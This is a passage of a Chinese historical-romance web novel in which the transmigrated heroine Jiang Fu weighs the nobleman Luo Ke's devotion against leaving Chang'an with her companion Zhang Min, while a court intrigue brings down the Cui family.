仿佛她不去见他,他就要一直把琴弹下去,弹到十指割血,染红琴弦。 明明人不在眼前, 蒋芙却好像能幻视他的眼睛一般, 快要融于将黑的天际, 又带有几分浓重的怨色。 骆岢固然是美的,也有几分取悦于她的眼色与手段。 但她不可能为了他留在特权阶级之间, 奉献出自己的膝盖给皇权、世家,将自己的性命寄托于整个家族的荣辱。 分明有其他获得富贵的方式,可以更自由,更率性。 不如趁他伤心, 就此放置,将彼此之间彻底断了。 她本来也没许诺他什么,不是吗? 打定了不理的主意,蒋芙用被子盖住脑袋。 过了一会儿,琴音停了。 看来他也没到不死不休的地步,她的担心多余了,或许这琴声根本不是为了她弹奏的,骆岢原本就是风雅之人,闲来无事弹弹琴很正常。 蒋芙从被窝里探出头来,张闵已经把东西都在翘头案上归拢整齐,此时拿火石点蜡烛。他半蹲在烛台前,火石在他手间小心碰撞出火星,火光骤起,在他脸上映出暖光。 有些人,光是待在他身边就会有归属的感觉,像是自己这一生就要这样活。 “蒋娘子,晚饭送来了。” 侍女在门外轻声道。 蒋芙起身去端饭,客气道谢。侍女见屋里还有个男人,便道:“这位是随娘子来的友人吧?这些饭是一人的量,不如郎君随我再去取一份别的吃食?” 今晨蒋芙要早饭的时候多要了一份,跟她们交代有朋友来投奔她。 她看了眼餐盘里的吃食,的确不够两人吃的,就跟张闵点头,“你去再领一份。” 侍女问:“可要给郎君安排另外的房间?还是说……就与娘子住在一处?” 后半句话她说得很轻,像是怕冒犯到她似的。 蒋芙想了一下,睡同一张床不是不行,张闵在外面也可以露天而眠,但眼下有让他舒舒服服睡一觉的地方,何必再去吃苦。 “会麻烦到你们吗?” 侍女笑道:“怎会?公子吩咐过,要以贵宾之礼招待娘子。” 蒋芙眨了下眼,有点心虚:“那……那你们就去吧,给他也找个房间。代我谢过你们公子。” “是。” 张闵眼神投过来,蒋芙对他点头。 人都离开,她把餐盘端到烛台旁,将几个碗的盖子掀开。很丰盛的菜色,精致的碗碟里盛了炙羊肋、清蒸鲈鱼、蟹饆饠、粟米羹。羊肋表皮金黄酥脆,散发着炭火的香味,还有开胃的醋芹。 蒋芙尝了几口,就大快朵颐起来。不愧是郡公府在长安的别院,养的厨子比外面饭馆里做的菜都好吃。 想到以后可能吃不到这么好吃的菜,她略有些遗憾,随后将遗憾化作动力,要在这顿饭里都吃回来。 快要吃完,再度传来敲门声。 “谁呀?” 她跑到门口开门,外面天大黑了,只能看见侍女打扮的人端着盘子,头放得很低,盘子里是水灵灵、圆滚滚的荔枝。 这是蒋芙穿越以来第一次见到荔枝,还是满满当当装在盘子里的。 不用想都知道这一盘价值千金,在寻常百姓中有价无市。 “给我的?” 侍女点头。 “谢、谢谢……” 蒋芙去接,侍女没有松手。 她正觉得奇怪,就见侍女直起身子,一下比她高出好多,朝她迈进一步。 借着身后的烛光,蒋芙看清了她的真容。 这哪里是侍女,分明是男扮女装的骆岢。 “我来给娘子剥皮,好吗?” 他眼神黑漆漆的,不若之前清澈,弥漫危险的味道。 “不好,我不要了,你出去。” “为何?” 他将一盘荔枝随手放在一旁的烛案上,牵她的手,躬身压在她的肩头。 “你今日与张郎君说了什么?” 清苦的兰香不由分说涌入鼻腔,带着秋冷的寒意。 他不知从哪找来的侍女的服饰,穿在身上短出一截,还皱巴巴的。但也是这种不符合身份的衣料衬托,使他的肌肤看上去愈发雪嫩,让人控制不住想在上面留下痕迹。或者咬一口,看看他的皮肉之下、血浆之中,还有没有他所钟情的兰香。 蒋芙克制着心头的欲望,伸手推他,却推不动。 手拧他脸颊也无用,毫无预兆被逮住含吻。 指节接触到温软的唇舌,蒋芙脑子炸了一下,迅速撤手回来。 “你疯了?你不怕我把你做的事说出去?” 骆岢没有丝毫动摇,还是那句话:“你与张郎君说了什么?” “不告诉你!” 他在她耳边自嘲着笑:“你从未考虑过我的感受,我的伤心和难过在你看来都是爽快,怎么如今却跟我隐瞒了?” “娘子,你爱上我了?” 他是自暴自弃说的,蒋芙却把这几个字全都听到脑子里。 是吗?她竟然因为亲了几个嘴就爱上他了? 不,这绝不是爱。她只是在占有与舍弃之间矛盾罢了。 “说什么梦话?” “如果是梦,就好了。” 他已有了哽咽:“你听不见我的琴声吗?” 蒋芙什么话也说不出,任由骆岢将她越抱越紧,当作补偿。 她其实很不明白,他怎么就喜欢自己喜欢到这个地步了。 她哪里好? “你也吻过我,你眼里也映出过我的模样,为什么只有我在难过?对你而言,与谁相吻都无所谓吗?” 当然不是。她又不好色,到现在也只那么深入地亲过他一个人。 骆岢将自己剖白至此,也没有得到想要的回应,心彻底碎了,抱着她无声流泪。眼泪成河般从她的领口流淌进去,到胸口的地方把她的心脏烫了一下。 能怎么办,自己惹出来的,总得负责。 “你不必……这样。我只是和张闵说开了误会,又没和他两情相悦。他不喜欢我,我也不像之前那样喜欢他了。” “我跟你保证,我不和你在一起,也不会和其他男人拜堂成亲的。” 离了美貌的骆岢,她以后可能很难看上一个什么男的了。不过天长地久,都说不定的,她不需要成亲,甚至恋爱也不那么必要,尝尝滋味就行。 “别哭了。” 骆岢渐渐松了她,直起身子与她拉开些距离,虽不似方才紧紧贴合,却也是非常亲密的距离。 “当真吗?” “真……” 话没说完,她被骆岢忽然印下的唇截断了后话。 他这次吻得猛烈,口中依然沁甜,像花香口味的果冻。他的手贪恋地抚摸她的脸颊,挪到唇瓣处描摹她下唇边缘的形状。 口水没空咽,都沿着嘴角流了出来,润在他的拇指与皮肤接触之间,被无意涂抹开,时间久了晾得冰凉凉的。 蒋芙在心里叹息,他好像真的很喜欢她,不是有那么点意思,是真喜欢。 喜欢到不嫌弃她的口水,不嫌弃她刚刚啃过羊肋的嘴。 她都有点惭愧了,每次亲嘴之前,骆岢都把自己收拾得里外干干净净,她却总不讲究。 亲得差不多了,或者骆岢察觉到蒋芙已经没有什么兴致了,他恋恋不舍地停下,又吻了一下她的嘴唇。 “以后不要支开我,你说的每句话,我都会听,我永远不违抗你的意志,可是我也会难过。” “你喜欢过他,你还和他单独说话?” 蒋芙沉默听他控诉。有一瞬间,她想问他愿不愿意跟她走,或者让张闵直接把他从家里掳走。 但是这个念头荒唐到可笑。先不说他愿不愿意,也不说郡公府没了公子,会派多少人去找,就说离开了金山银山,生活里都是柴米油盐,他还能不能有今天这份诱人与温柔。 也许到最后,他记得的没有她的好,全是对她的恨了。 蒋芙拿手帕擦嘴,嘴角勾着讥讽想这些事。 骆岢随着她走,到床榻边坐下,手里端着那盘短暂被遗忘了的荔枝。 “宫中赐下了许多,我都给你端来了,要吃吗?” “剥一个尝尝。”她掀开被子躺下,“你给沁儿留了吗?” “这便是沁儿从宫中带回来的,她每日进宫,我这个哥哥几乎见不到她的影子,也不知都玩些什么。” “你想玩就也去啊。” 骆岢将剥好的荔枝递到她嘴边,她张嘴包了进去,他的手仍停在她唇边,是要接荔枝核。 “我若想去,何必整日称病在家,娘子看不见我的心吗?” “肉麻。” 她吐核在他手上,继续张嘴:“还要。” 这时候荔枝好甜,每一滴汁水都像浸了糖浆似的,荔枝清新味也十分浓郁。 送进宫的东西果然是好东西。 骆岢于是继续慢条斯理地剥,漂亮的人就连给荔枝剥皮都像是雕刻什么艺术品。 宁静的时光长些,他的脸也就越发红了。 “我今日吃味,实是无礼,我向你保证,往后再不会有这种情况。” 蒋芙从微暗的光线里看他。 他能亲到她都是她自己纵容的。不然凑近的时候给他一巴掌,他哪里还有脸面亲得下去? “公子,你何必在我这费心缝补形象?你做什么我都懂的。” 装作一副无害的样子。 继续留在他身边,这种吃醋闹脾气的行为定不会少。 喜欢时是情趣,不喜欢了就是麻烦。 美丽的东西不能长久。 第39章 第 39 章 他的师父。 清晨下了雨, 与潇潇雨声同时袭来的,还有骤然湿冷下去的天气。 时至秋末,蒋芙有些后悔上街时没买几套御寒的衣物。 她坐在床铺上披被子,拿汤匙喝粥。热气腾腾的咸粥, 里面混有鲜美嫩软的瘦肉, 味道清淡温腹。 张闵从屋外走来, 摘掉草帽, 高束的马尾被雨淋落了几根发丝。他将一根草杆似的东西递到蒋芙眼前:“信。” 蒋芙放下粥碗, 将草杆接过来,一点点卷开。 “谁的信?” “我师父, 给你的。” “给我信?”蒋芙念叨着,挪到窗影对着的地方,借外面晦暗的天光看字。 很有文采的一封信,先是对蒋家的灭门之祸表达痛惜,没有及时得到消息出手相助,之后又回忆袁氏慈悲心肠、蒋家对张闵的恩惠,最后表明来意,希望与蒋芙一见。 她拿着信思索片刻,仰头问:“我见吗?” 她晨起洗漱完便回了被窝, 一头乌发还在身后披着, 显得, 面容愈发清白,仿佛能掐出水来。 张闵望着, 心中感到阵阵暖意。 “想见便见,不见便不见。” “……” 就知道他的话没什么参考价值,蒋芙捏着特殊制作的信纸犹豫,良久, 下床穿鞋。 “还是去见见吧。我就算不去,你师父想见,也能随便见我。既如此,又何必惹人家不快。” 她套上外衫,在胸口系好带子,把披帛当披肩罩在上身。 “你知道去哪见?” “知道。” 张闵给她穿上蓑衣,戴好帽子。 出门时碰见侍女,蒋芙叫住她:“告诉你们公子一声,我有事出门一趟,用不了多长时间就回来了。” 侍女一愣,点头应声。 交代完去处,蒋芙拍了下张闵的肩膀,让他把自己背在身上。 雨天的潮气闷在两人身体之间,张闵握着膝弯的手比平时用力。 “为什么?” “嗯?” “为什么要告诉他?” “嗯……不告诉他会闹脾气。咱们都要走了,还是相安无事的好。” 你很看重他? 张闵没有问出口,直觉告诉他,如果问了,答案不会是他想听见的。 那他想听见的又是什么? 蒋芙心里盘算,趴在他肩膀上一句句说:“走之前,我要把该见的人都见一遍,省得以后老了心里遗憾。” “这时候车马太慢,可能分别一次,一辈子都见不到了。我得把真相告诉沁儿,我其实不喜欢她哥。骆岢,之后请他吃顿饭吧,跟他道个歉。还有……” “还有沈听南,这次是真的再也不见了,告诉她让她开心一下。讨人厌的蒋芙终于要离她远远的了。” 张闵道:“她不会开心。” 蒋芙揪他的发尾:“你怎么知道她不开心?有什么不开心的?不开心再也见不到你?” “……” 身下之人气压沉了下去,蒋芙给他头发编麻花辫。 “你也要想清楚,你到底是不是喜欢她,如果喜欢她,还是做个了结比较好,毕竟你要跟我走了。” 张闵道:“我不喜欢。” “哎,嘴硬,我可是看见过你和她亲亲我我的样子,那么明朗的天气,你们俩坐秋千上吹箫,还摸小手……” 张闵停下飞奔的步子,站定。 “到了?” “下去,自己走。” “你生气?有什么好生气的,我又没说假话。” “你说了,亲亲我我,我没有。” 雨滴软绵绵下落着,从蓑衣间隙漏进衣服里,湿乎乎的,很不舒服。 蒋芙抱他脖子的手收紧:“我不下去。” 张闵道:“你过生辰,吹箫送你,她让的。” 说完,张闵重新奔跑在雨幕里。长安的街道上寥寥数人,除去偶尔经过的马车,只有他们在坊市间穿行。 后半程路蒋芙一直都没说话。她不是内疚,也没有尴尬,只是在想,多简单的事,只要一句话就能解开的误会,为什么要让她在心里难受好几年? 她不是没对这件事发作过,可他就是不说,那年生日,他也没有给她吹箫。 也可能有她没问的缘故在里面。他不知道这件事需要解释,不知道解释了之后她就不再生气。 但他现在怎么就知道了呢。 她都已经不那么喜欢他了。 到底解开了这个心结,他心里就算没她,也没有过别人,她这么多年的喜欢也不算那么一无是处。 平康巷深处,像是水墨画里墨迹最深的一笔,高墙深院,牌匾挂在巍峨高处——金吾卫府。 它的背后,是深红与鎏金钩织成的皇城。 蒋芙被张闵放到地上,望这守卫森严的官署。 有卫士上前与他们交涉:“郎君,将军已在堂下久候。” 她跟在张闵身后从正门走了进去,巡逻的士兵列队整齐,与他们擦肩而过。 “闵儿。” 张闵站直几分,端起手臂行礼:“师父。” 他曲了身,便露出身后戴着蓑帽的蒋芙。 陡然与一位陌生老者相视,她第一反应是回避,之后才想起行礼。 “草民拜见大人。” “快请起,小女孩,走近些让我看看。” 蒋芙看了张闵一眼,略显拘谨走到老者面前。此人五旬左右的年纪,发已花白,人却精神气十足,穿暗红色领袍,身份高贵。 尤茂仔细看了蒋芙,抚着胡须大笑。 “我这木头徒弟,竟给自己找了个这么娇滴滴的小娘子。真是男大不中留啊,若不是给你写信,我怕是这几天都叫不来他。” 蒋芙陪笑低头:“我们不是……” 尤茂笑声停顿,再度放声大笑,震得蒋芙耳朵发酸。 “是,没成亲,不算夫妻!” 他一把勾住张闵的肩膀,也不知多大的力气,将他勾得一个趔趄。张闵依然面无表情,两人这么连在一起,颇有喜感。 “好徒弟,来,进屋说话!” “徒弟媳妇也来!小白,倒杯热茶!” “好嘞师父!” 听到白明旭的声音,蒋芙往声源处看了一眼,对上他那双笑盈盈的眼睛。他与她挥了挥手,露出一排洁白的牙齿。 “蒋娘子好久不见!” 蒋芙心想没多久,也就六七天,就听他说:“一日不见,如隔三秋兮——啊!” 被尤茂给打了。 “找猫逗狗的,与小娘子离远些!好好想想吧!师门几个全都成家立业了,连你流落在外的师弟都找媳妇了,你现在还光棍一个,没两年加冠,连门像样的亲事都没定上!你让我死了怎么跟你爹娘交代?” “哎哟师父,着什么急!小娘子总会有的!” 他抱着被打的头给蒋芙递来一杯冒着热气的茶。 尤茂那边穿甲配带,叫:“闵儿,随我出一趟工。” 张闵看蒋芙。 尤茂便也看蒋芙。 蒋芙:“……出,你出。” 尤茂哈哈大笑,示意白明旭:“让厨房给小娘子做些甜的点心吃,屋里再去端两盆炭火。不出一个时辰,我便把闵儿还来!” 说完便大步出门去,张闵回看了蒋芙一眼,得到第二次的点头应准,才使了步法跟上。 远远还能听见尤茂爽朗的笑。 人走没影了,白明旭便懒散下来,坐到一旁的胡床上。 “我师父可喜欢张闵,今日娘子可曾见识到?” 蒋芙将草编的蓑衣脱掉,坐进附近的椅子,连着椅子一起往炭盆旁挪了挪。 “见识到了,而且也想起来多年前,就是这么一个怪人把他从我家里抢走,害得云姨愁出一场重病。” 白明旭笑道:“那时我已经不跟在师父身边,所以没见过张闵。后来看他身手觉得熟悉,去信给师父才和他相认。” “蒋娘子,我很好奇,你是怎么打算的?那天堂而皇之当着那么多人的面拉我们公子的手,今天又摇身一变,变成我师弟的未婚妻了。你想要二夫共侍?不太可行,公子那种人看起来温柔,实际心高气傲的,他大概委屈不了自己。” “白将军你说笑了,我没有那么大的能耐。不是说三日后我们便能走了吗?到时我会和张闵一起离开。那日我之所以冒犯公子,是泄愤不当之举动,当然,这件事我已经和公子道过歉了,不劳将军费心。” “蒋娘子,你说话好冷。”他夸张抱肩膀,“不能留下来吗?陛下正值用人之际,是男儿建功立业好时机。张闵根骨俱佳,你当真要他舍去前程,陪你隐匿于乡野之间吗?你们留下来,说不定以后娘子就是服紫的夫人了。” 蒋芙冷道:“白明旭,你是在为谁说话?” 白明旭沉默了下,手里的茶杯转了转:“师命难违,娘子好凶啊。” “跟我说这些有什么用?你们想做什么,不如直接和张闵谈。” “谈过,他说跟你。” “……” “生死都跟你,再多说就不肯,面都不见。师父也是没办法了,才想着找你。” 蒋芙低垂着眼,心里难受。 她真的耽误了张闵的前程吗? 白明旭道:“娘子留在这,师弟也好放心。长安多好,何必离开?即便师弟以后有军务忙,也能派其他人保护你。娘子就算成亲另嫁,这份承诺都不会、” “你闭嘴。” 白明旭倒吸一口气。他听见了什么? 蒋芙瞪他:“我的甜味点心和额外加在屋子里的炭盆呢?你师父吩咐你的事,你都不办,你让我怎么相信你说的话?” 这时候话说的再好听,回头办起事也不会有人把她放在心上,她在他们心里就是微不足道的小插曲,活着很好,死了也没问题。 她绝不能依附这些人的赏赐活命。 “我要走,我就要走!有本事你杀了我,一刀了断我啊!” 白明旭:“……” 他将头转到一边,笑了。 蒋芙被他笑得生气,几下把蓑衣穿到身上,一个人走上了回郡公府别院的路。 回到府上,门口多停了一辆马车,上面有崔氏的家徽。 小厮上前道:“娘子回来了?正巧,崔家娘子来府上找你,说是有话要对娘子说。” 第40章 第 40 章 情之一字。 崔家娘子, 蒋芙认识两个。 但在长安能来见她的,就只有前几天刚结过梁子的崔茄娘了。 她来见自己干什么? 蒋芙循着小厮的指引,到府上会客的庭室。 崔茄娘正姿态恬静地喝茶,若不是相貌一致, 简直与之前判若两人。 “崔娘子。”蒋芙带了一身的煞气回来, 正是锐意最盛的时候。 崔茄娘起身, 娉娉婷婷与她见礼:“蒋娘子, 我来找你, 是为日前的误会致歉。” 小厮与侍女都退了出去,室内只留她们二人。 半晌没得到回应, 崔茄娘嘴角的笑也维持不下去了,捋了 捋鬓边的发饰。 “蒋娘子,有一句话你应该听过,得饶人处且饶人。我是看你在公子面前得了几分脸才来跟你圆场的,你如果再放肆,休怪我也不客气。” 蒋芙神情讥讽:“你可真莫名其妙,不原谅你就是放肆?” “……” 她绕过崔茄娘,坐椅子上给自己倒水喝,湿淋淋的雨气让她格外郁闷。 “你来道歉, 如果是想见公子, 那你现在可以直接去, 从这屋出去,往石板路的尽头走, 他住那边的院子。” “谁说我想见公子!”崔茄娘顿时脸红,“蒋芙,你别装出一副很大方的样子!你以为你是谁,如今公子只是稍微喜欢你一点, 你就把自己当郡公府少夫人了?将你带到郡公大人面前,你连公子的妾室都做不成!” “谁想做妾了?”蒋芙把茶杯往桌案上一磕,声音刺耳,惊得崔茄娘浑身一抖。 “我告诉你!原本没人对你喜欢的人感兴趣,我那天当着你们的面拉他手,是故意恶心你们的!因为个男人嫉妒,在公主面前害人性命,你怎么想的?人命就那么贱吗?是不是哪天骆岢多看了一眼女子的手,你就要喊人把人家的手给切断啊!” “看人手的是骆岢,喜欢我的也是骆岢,你杀我有什么用,你要是真有那个能力,直接控制他,让他只能看你一个,只能喜欢你啊!你欺负我有什么用?就知道欺负我,你们都就知道欺负我!” 喊到最后,蒋芙把从白明旭那里受的气也一并发泄了。 因为当事人无法撼动,所以都把她当软柿子拿捏是吧? “我本来不喜欢他,没招惹过他!是你作恶,造成今天这个局面,是你的恶果!你把我也连累了!” 崔茄娘被她吼得一愣一愣。 这般家境的女子,从小到大,哪里有人舍得这么跟她讲过话? 蒋芙胡乱数落一通,气焰平息些。 她将崔茄娘那边的茶杯满上,自己又闷了一杯。 崔茄娘表情复杂地坐到她旁边,端起茶杯小口喝。 蒋芙道:“跟你说实话,我亲过他,也摸过他的手了。你要是还想要、还喜欢,就自己努力一把。别矜持,光看着有什么用?你能把包子看熟还是能把人看死?针对我没用,你要争取的是男人!” 崔茄娘似懂非懂,瞥了蒋芙一眼,眼神与之前截然不同了。 “你真不喜欢公子吗?” 蒋芙手里的茶杯转圈:“我没空喜欢他。” “跟你不一样,我每天都有不顺心的事。小到买东西买得比别人贵,大到……我现在都没娘了。” 崔茄娘头垂了下去。 她调查过蒋芙,知道她的身世以及家中境况,但听她亲口说出,才有了真实的感觉。 “他是很好,长得不必说,还挺喜欢我的。但是我觉得换一个相貌好的男子喜欢我,我说不定也是一样的感觉。那人身份若不这么高贵,可能我会更喜欢。” “我留在他身边,没人能瞧得起我。他也不可能永远爱我,我依附他的爱享受荣华富贵,当爱收回去,不用想都知道自己会有多惨。我又何必留在这触你们霉头,天地广阔,总有容得下我的地方,我何必因为一个男人困在这?” 崔茄娘久久不语。 “……可是,你若走了,就再也得不到我们同等的吃穿用度。” 蒋芙道:“得不到就得不到,血脉是天生的,又不是从我这抢走的。我这辈子注定如此,有一文钱就过一文钱的日子。之前,或许我还有不平,但现在,我已经不想跟你们比了。” 一旦比较,就会陷入贪婪的深渊,什么时候才能知足? 崔茄娘明晓这个道理,她开始钦佩蒋芙的豁达。 她站起身:“我回去以后,会好好想想的。你打算什么时候走?” 蒋芙道:“三日后。” 崔茄娘道:“我大名蔓婉,祖父乃当朝中书令,家中产业遍布中原。你我也算不打不相识,日后有什么困难,就去我家钱庄报我的名字。” 蒋芙没应,与她道别。 她有些困惑了,中书令家里……竟然能开钱庄吗? 用过午饭,张闵冒雨回来了。 蒋芙拿巾帕擦他淋湿的头发,让人备热水给他洗澡。 他抓她的手:“为什么没等我?” 蒋芙自他进门开始就回避的目光终于落在他脸上。 “你……想做你师父那样的大官吗?你觉不觉得……我妨碍你仕途?” “不觉得。” 他双眼似黑棋般分明澄澈。 不会说谎、一根筋的人谁都喜欢。 或许放他出去为别人卖命,能让他在史书上留下光辉灿烂的一笔。但是蒋芙不想把他让给别人。 原本就是她的。 建功立业是好的。可万一他死了怎么办? 她不想再失去他了,这是她在这世上最后一个亲人- 骆岢这日不在府邸。 他一大早就被传进了宫里。等天子散了早朝,在书房面圣。 很奇特的一次会谈,魏琪问他政事。 骆岢一头雾水,陪着说了两句,换来天子意味深长的眼神。 待他察觉到不对,聊天已经换了风向。 “阿岚,我听说,当日宴席上那位大胆的蒋娘子到底入了你的眼。” 魏琪一脸调侃:“之前不是义正言辞拒绝了?” 骆岢微微低头,端手作揖:“臣已后悔。” 天子笑了几声:“打算怎么做?养在外面还是纳进门?若是想纳,我可以赐她个身份,与你匹配。” “臣想娶她。” “……你爹同意吗” “我会处理好。” 魏琪沉默片刻,露出轻松明快的笑:“没想到,公子岢的心,不动则已,一动惊世骇俗啊。那我等着喝你喜酒了,都是兄弟,有需要帮忙的地方就来宫里找我。” “不敢,多谢陛下。” “对了。”魏琪状若不经意,“你没事多看看你妹妹,我近来总在宫里见到她。” “小妹贪玩,时常进宫搅扰,请陛下恕罪。” “何罪之有?她进宫,挺好的。” 魏琪问:“她今年几岁了?” 骆岢心生疑惑:“十三。” 天子指头敲敲书案,是心烦意乱时会有的表现。 骆岢忽然心弦一动,朝明堂之下、高座之上投去诧异视线:“你要对我妹妹做什么?” 魏琪笑:“你回去问问你妹对我做了什么。” 骆岢脸色一瞬黑了下去,便要起身告退。 魏琪叫他:“其实……也没做什么。你回去也不用打骂她,和她讲讲道理,最好……趁早给她定门合适的亲事吧。” “臣明白。” 骆岢从延英殿出来,问天子近侍:“骆沁还在公主那吗?” 难得被美人搭话,近侍紧张答道:“正在丹锦园里随公主行曲水流觞……” 骆岢阴沉脸色,让宫人引路到丹锦园,将骆沁传唤出。 他等在那里,青衫玉立,与火红的枫林构成一副不可言说的美景。 路过的宫人看得痴迷,被提醒了才匆忙回到差事中去。 骆沁哼着歌出来,见哥哥拉着脸等她,渐渐意识到他知道了什么。 他告诉她哥哥了。他怎么能告状呢? “……” 迈出的步子绕了一圈,她小跑着往回走。 她得到公主身边,让公主给她撑腰,不然哥哥带走她,她就再也回不到这宫里,也就再也没办法见到他了。 她知道,她或许不能嫁给他。他后位空悬,等待的是能对他基业有帮衬之用的才臣之女,不像她,爹爹和哥哥都是一无是处的文人,不问政事,帮不到他任何…… “沁儿!” 到底还是被骆岢逮住了。 他像拎一只小猫一样,仗着骆沁穿的胡服拎她后领,将她往马车的方向推。 放在往常,骆沁一定早早就说出讨饶的话了。但是今日没有,她 异常安静,等到骆岢觉得奇怪,低头看妹妹的脸时,看到的是小女孩满眼的泪水。 骆岢心头泛起尖锐的疼痛,一下松了手。 妹妹两只手捂眼睛,狼狈地擦拭脸颊。 怎么就到这个地步了? 是不是他只顾着忙自己事,近来没有关注到她? 骆岢如今才有自觉,妹妹已经不是小孩子了。虽然家里一直把她当作小孩子教养,但她还有两年就要及笄成年,就要嫁出去做另一人的妻子,她已经一个人长大了。 过度的保护正在深深地伤害她。 “沁儿……”他放柔了语气,“别哭了,我们回家。” “呜呜……” “没人怪你,不怪你的。你想要什么,跟哥哥说。” “不要……” “你芙姐还在家里等你。” 提到蒋芙,骆沁的情绪才平稳一些,用手帕遮脸跟在他身后,往家里马车的方向走。 宫墙耸立,仿佛无限向中间挤压,遮住了大片的天空。骆岢无意抬头,见到了楼阁之上,一身玄袍的天子。 骆沁也看到了,她只看了一眼,就捏着手帕钻进了车,没有任何留恋,也没再掀帘看过。 车夫驾车出了宫门。 骆岢疲惫地叹息,决定去信父亲,看看如何处理。 既然喜欢,为何不能成全? 40-50 第41章 第 41 章 颠覆风云。 回到家里, 骆沁心神不定,抱住哥哥:“我知错了,你别生我的气。” 骆岢轻摸她的额发,将妹妹拉开:“你不哭, 哥哥就不生气了。” 他问侍女:“蒋娘子在房间吗?” 侍女答:“在, 可需我去通传?” “不必。” 骆岢将骆沁带到蒋芙房门前, 叩门:“娘子, 搅扰。” 蒋芙将门打开, 看到兄妹俩齐刷刷在檐下站着,有些奇怪。 “怎么……”她看到骆沁哭红的双眼, 登时变了脸色,“你把你妹气哭了?” 骆沁这时才从悲伤里走出来,勉强笑着拉蒋芙的手,“芙姐,不是哥哥,是沁儿自找的伤心。” 将两人请进了屋,蒋芙给他们找坐垫,倒热茶。 骆沁像以往一样叽叽喳喳报告她在宫里玩了什么。 “上午下雨,听南姐执笔画伞, 公主赏了她好些笔墨, 听着像是哥哥眼馋的。” “午饭之后雨停了, 我们又去丹锦园玩了曲水流觞,大家都好有才华, 弹琴赋诗,很是风雅。我吃到了一份好吃的点心,叫莲花饼餤,看到时就想起芙姐了, 味道也和芙姐一样甜甜软软的。” 蒋芙没怎么笑出来,她担忧地看着骆沁:“是发生了什么?” 骆岢起身:“我回避。” 骆沁仰头拉住:“哥哥不必,我也没做什么见不得人的,我就问了他一句想不想亲我,亲我的是他,告状的也是他,撵我走的还是他。我这辈子都不想再见到他了。” 蒋芙怒而站起,挽起袖子:“沁儿!是谁?我去把他打一顿!” 骆沁又连忙拉她:“打不得,芙姐!” “谁我打不得?” “是、是陛下……” 蒋芙:“……” 她老老实实坐回垫子上,喝了口茶让自己冷静下来。 她回想这位少年天子,曾见过两面,相貌客观来说不错,为人也和气。 但是骆沁从小看着骆岢长大,怎么会…… “你怎么喜欢上他的?” 骆沁歪头回想:“当时想去光州找芙姐,被奇怪的人绑到马上,倒挂了一天多,恰好碰见他骑马狩猎,将我救下了。” “本来很害怕的,但是看见他就不怕了。我小时候见过他,但是从来没有一刻,他像那个时候一样,像英雄似的从天而降……救了我。” 蒋芙表示理解,她之前也是这么喜欢上张闵的。 “你这几天进宫,都是去见他吗?” “唔……有时候能见,有时候见不到,但只要知道他在附近,心情就会变得很好。”连回忆时,她脸上都带着甜笑。 骆岢表情冷淡,他了解天子自然比骆沁多。平心而论,他不觉得魏琪有多配得上他妹妹,到现在,他甚至生出了厌烦的心思。 蒋芙转头问他:“陛下是怎么跟你说的?” 骆岢道:“陛下说,让我给沁儿定一门合适的亲事。” 骆沁“哼”了一声:“我不要亲事。我又不嫁他,他凭什么管闲事管到我的头上?” 蒋芙有些头疼。她大概猜到骆沁喜欢的是一个麻烦的人,但没想到麻烦到这种程度。天子听着不像对沁儿没意思,从白明旭那边得来的消息,他像是一个野心勃勃的君主。沁儿家境高贵,父兄无实权,不正是皇后的好人选? 他在逃避什么? 蒋芙看了骆岢一眼:“你出去,我有话跟沁儿交代。” 骆岢点头,顾及妹妹在场,很有分寸地与她话别。 人走后,房门紧闭。 蒋芙郑重对骆沁行礼。 骆沁惊讶:“芙姐,你这是做什么呀……快起来!” 蒋芙被她从地上搀扶起来,与她相邻而坐。 “沁儿,我要跟你道个歉。对不住,我骗了你。” “骗了我?” “嗯,就是……我其实不喜欢你哥。最开始在宴席上表白,是为了借他的名声,坏我的名声,以免顺了我爹的意,嫁给金员外做妾。” “现在想来,也许有其他方式得偿所愿,我行这一招,确实可笑。我当时情绪不太好,沈听南恰好惹了我,我就挑了她看中的人磋磨,很不自量力,很自私……也许,因此伤害了一些人……” “可是,我走出来了。我一个人,凭借自己的横冲直撞,从死路里走出来了。我还亲手为我娘报仇,金无尽的事就是我亲自潜入找的证据。” “总之,我骗了你,害你为我处处费心。三日之后,我便要离开这里了,去处还没有定好,如果你愿意原谅我,我之后会给你写信。” “在走之前我要告诉你,沁儿,务必居安思危,现在的时局看上去平静,背后已经有人在悄悄运作了。那个人,你虽喜欢,却不知他什么打算,一旦性差踏错,害的就是你和你亲人的性命……” 外面响起了雷声,停顿了几个时辰的雨转眼又倾盆落下。 “……当然,也说不定是关键时候的救命稻草,毕竟他手里有生杀大权。但权力越大,就越不会看重儿女私情,你就算和他在一起,你的婚姻很可能不会幸福,后宫里一年两年没有,但之后人生太长,说不定就有了什么女人分走你的宠爱。” “我今日的话,你听着可能讨厌。一个骗子,有什么资格在背后议论这些是非……” 骆沁突然抱住她,痛哭出声。 “不要说!不要说你是骗子!是我不好!是我蠢,我不知道芙姐的苦,我每天都在做傻事!” “你要走了吗?你能不能不走?不要走!芙姐!不要走!沁儿身边的人太少了,沁儿没有娘!你走了,没人陪沁儿说话!” 听着她的哭声,蒋芙鼻子酸痛,也泛出了眼泪。 “沁儿还有哥哥啊,你哥哥是真心为了你好的。” “不一样,我要你,我就要你!如果知道你要走,这些天我才不要进宫!你不要走,芙姐!你怎样才能不走?是我哥哥不好吗?你嫁给他,我们永远做一家人不可以吗?我不要写信,我要在你身边呀!” 蒋芙只能用力抱住她:“沁儿,不要难过。以后每年我都回来看你,好不好?不论走得再远,我都会回来看你的。等你长大了,能给自己做主,说不定咱们还能一起出去玩。” “到那时候,我们可以一起看瀑布,一起过栈桥,养几只你喜欢的小动物……” 她还在哭,哭声闷在蒋芙的 胸口。 “芙姐等我长大不行吗?” 蒋芙苦笑:“你不要哥哥和爹爹啦?” “……” 哭到最后,骆沁倚在她身上睡着了。睡得很不安分,时而清醒,要紧扣住她的手,睡着了,手又自己松开了。 蒋芙看着愈发黑的天色,听窗外落珠般巨大的雨声。 这一夜,在电闪雷鸣的雨幕下,中书令崔兴生以贪污受贿、勾结异族之名戴罪免官,举家入狱,家中财物一律充公。 崔茄娘再没有机会为她的爱情争取,她在如花般的年纪亲眼见证了家业倾颓,从高门大户,到亡命天涯。 世家的风向,自这夜起变了。所有在暗处虎视眈眈的人都意识到,天子只是年轻,他并不是没有手腕与魄力。 白明旭蛰伏多年,终于报仇雪恨。 当年崔兴生与氐族蛮夷勾结,放出军报,害他祖父与父亲以命守城,最后尸骨还乡。 为权势罔顾人命,就该想到自己有天得到同样的下场。 然而很快,他就收到消息。 